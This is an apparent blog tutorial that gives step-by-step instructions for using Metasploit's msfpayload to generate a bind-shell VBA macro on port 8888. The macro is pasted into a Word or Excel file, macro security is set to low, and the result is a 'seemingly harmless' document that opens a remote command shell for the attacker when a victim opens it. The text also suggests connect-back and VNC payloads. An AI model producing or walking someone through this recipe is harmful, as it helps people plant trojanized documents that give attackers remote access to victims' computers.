This is actually a nice little feature of Metasploit which many of us are not aware. Here I will guide you through this.
Metasploit is nice tool written in ruby and very useful to penetration testers (and script kiddies) It provides good information on exploit techniques and is also a useful resource for exploit developers and security professionals. Latest release is 3.1 version as of now and its upcoming version 3.2 will be more hack-pack.
Enough of insight into metasploit, now back to action. We will create a malicious .doc file which will spawn a tcp shell on port 8888 on simply opening the file. However remember that MACROs must be enabled on victim’s system.
1. Go to Start–>All Programs–>Metasploit–>CMD SHELL.
2. type cd %APPDATA%
3. Next type in: ruby msf3/msfpayload windows/shell_bind_tcp LPORT=8888 V > macro.vba
4. Now to use this malicious vba file, open Microsoft Word/Excel.
5. Go to tools–>Macros–>Visual Basic Editor. Copy the contents of vba file and paste in the VB editor.
6. To enable macro tools–>Macros–>Security. Select the security level as low.
7. Now save the doc file.
8. On opening the seemingly harmless file, it will automatically spawn a cmd shell on port 8888.
Telnet on that port to spawn a command shell.
So now we have a malicious doc ready for action. We can use any available payload like connect back to attacker or even vnc inject payload. Hope this is helpful.